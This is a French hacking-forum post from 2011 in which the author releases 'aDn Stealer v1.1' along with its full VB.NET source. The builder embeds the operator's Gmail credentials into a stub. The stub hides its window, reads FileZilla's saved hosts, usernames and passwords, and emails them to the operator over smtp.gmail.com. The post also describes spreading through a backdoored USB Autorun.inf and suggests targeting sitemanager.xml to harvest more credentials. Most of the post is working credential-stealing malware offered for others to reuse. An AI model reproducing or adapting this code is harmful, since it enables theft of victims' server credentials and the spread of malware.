Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: aDn Stealer v1.1 ONLINE ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 16:38 (2011)    Sujet du message: aDn Stealer v1.1 ONLINE Répondre en citant

Bonjour à tous alors c'est avec un grand sourire
que je post aujourd'hui mon stealer: aDn Stealer v1.1
Pour la première version il ne prendra que FileZilla et sera doter d'un "Spread USB". A chaque clé USB connecter à l'ordinateur il créera un fichier "Autorun.inf" "backdored" avec le server.
Je ne peux malheureusement pas effectuer de scan du soft, stub et server à causes de quelque problème sur NoVirusThanks, donc je le ferais dès que possible.
Pour cette première compilation, il sera gratuit



Après longue réflexion j'ai enfin décidé de dévoiler mon code source


Pour cela cliquer ici : http://pastebin.com/u/aDnCollin

Builder
Code:



By Haunui Collin "aDn"
[*]Soft:
[*] 
[*]Option Explicit On
[*]Imports System.Text
[*]Imports System.IO
[*]Imports System.Net.Mail
[*]Public Class Form1
[*]    Dim dialog As New OpenFileDialog
[*]    Dim stub, text1, text2 As String
[*]    Const FileSplit = "@aDnStealerPasteBin@"
[*] 
[*]    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
[*]        text1 = TextBox1.Text
[*]        text2 = TextBox2.Text
[*] 
[*]        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
[*]        stub = Space(LOF(1))
[*]        FileGet(1, stub)
[*]        FileClose(1)
[*]        If File.Exists("Server.exe") Then
[*]            My.Computer.FileSystem.DeleteFile("Server.exe")
[*]        End If
[*]        FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
[*]        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
[*]        FileClose(1)
[*] 
[*] 
[*]    End Sub
[*] 
[*]    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
[*]        Dim smtpServer As New SmtpClient()
[*]        Dim mail As New MailMessage
[*]        ProgressBar1.Value = 10
[*]        smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
[*]        'using gmail  
[*]        ProgressBar1.Value = 20
[*]        smtpServer.Port = 587
[*]        smtpServer.Host = "smtp.gmail.com"
[*]        ProgressBar1.Value = 35
[*]        smtpServer.EnableSsl = True
[*]        mail = New MailMessage
[*]        ProgressBar1.Value = 50
[*]        mail.From = New MailAddress(TextBox1.Text)
[*]        mail.To.Add(TextBox1.Text)
[*]        ProgressBar1.Value = 70
[*]        mail.Subject = (TextBox1.Text)
[*]        mail.Body = ("Testing Gmail was Successful.Build your server now!")
[*]        ProgressBar1.Value = 90
[*]        smtpServer.Send(mail)
[*]        ProgressBar1.Value = 100
[*]        MsgBox("Message has been sent. Check your Gmail.")
[*]    End Sub
[*] 
[*]End Class









Stub
Code:



[*]Option Explicit On
[*]Imports System.Collections.Generic
[*]Imports System.Text
[*]Imports System.Security.Cryptography
[*]Imports System.IO
[*]Imports System.Net
[*]Imports Microsoft.Win32
[*]Imports System.Net.Mail
[*]Imports System.Runtime.InteropServices
[*] 
[*] 
[*]Public Class Form1
[*]    Dim filezillaPass As String = ShoitZilla()
[*]    Dim result As Integer
[*]    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
[*]    Dim options(), text1, text2 As String
[*]    Const FileSplit = "@aDnStealerPasteBin@"
[*]    Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)
[*]    Dim vDirectory As String
[*] 
[*]    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
[*]        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
[*]        text1 = Space(LOF(1))
[*]        text2 = Space(LOF(1))
[*]        FileGet(1, text1)
[*]        FileGet(1, text2)
[*]        FileClose(1)
[*]        options = Split(text1, FileSplit)
[*]        TextBox1.Text = options(1)
[*]        TextBox2.Text = options(2)
[*] 
[*] 
[*]        Me.Hide()
[*]        Me.Visible = False
[*]        Dim nl As String = vbNewLine
[*]        Dim MailSetup As New MailMessage
[*]        MailSetup.Subject = My.Computer.Name & ":"
[*]        MailSetup.To.Add(TextBox1.Text)
[*]        MailSetup.From = New MailAddress(TextBox1.Text)
[*]        MailSetup.Body = filezillaPass
[*]        Dim SMTP As New SmtpClient("smtp.gmail.com")
[*]        SMTP.Port = 587
[*]        SMTP.EnableSsl = True
[*]        SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
[*]        SMTP.Send(MailSetup)
[*]    End Sub
[*] 
[*]    Function ShoitZilla() As String
[*]        On Error Resume Next
[*]        Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
[*]        Dim FileBuffer As String = vbNull
[*]        Dim NL As String = vbNewLine
[*]        FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
[*]        Dim str As String
[*]        Dim Output As String = Nothing
[*]        Dim TempData() As String
[*]        TempData = FileBuffer.Split(vbCrLf)
[*]        FileBuffer = Nothing
[*]        For Each str In TempData
[*]            If str.Contains("</Host>") Then
[*]                str.Replace("<Host>", "").Replace("</Host>", "")
[*]                Output = Output & "Host : " & str & NL
[*]            End If
[*]            If str.Contains("</User>") Then
[*]                str.Replace("<User>", "").Replace("</User>", "")
[*]                Output = Output & "Username : " & str & NL
[*]            End If
[*]            If str.Contains("</Pass>") Then
[*]                str.Replace("<Pass>", "").Replace("</Pass>", "")
[*]                Output = Output & "Password : " & str & NL & NL
[*]            End If
[*]        Next
[*]        Output = Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "")
[*]        ShoitZilla = Output
[*]    End Function
[*] 
[*]End Class
[/list]








Pour les informations de filezilla il faut mettre "sitemanager.xml" à la place de "recentservers.xml", ceci a été changé lors d'une mise à jour ou de mettre les 2 car beaucoup de personne ne l'ayant pas  mise a jour  le nom du dossier est rester le meme ...

Je vous demanderez juste de ne pas faire leecher et de copier/coller en disant que c'est vous qui l'avez coder. Si je le partage c'est pour aider les gens qui veulent en coder un.

Merci et bonne journée/soirée .


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 16:38 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com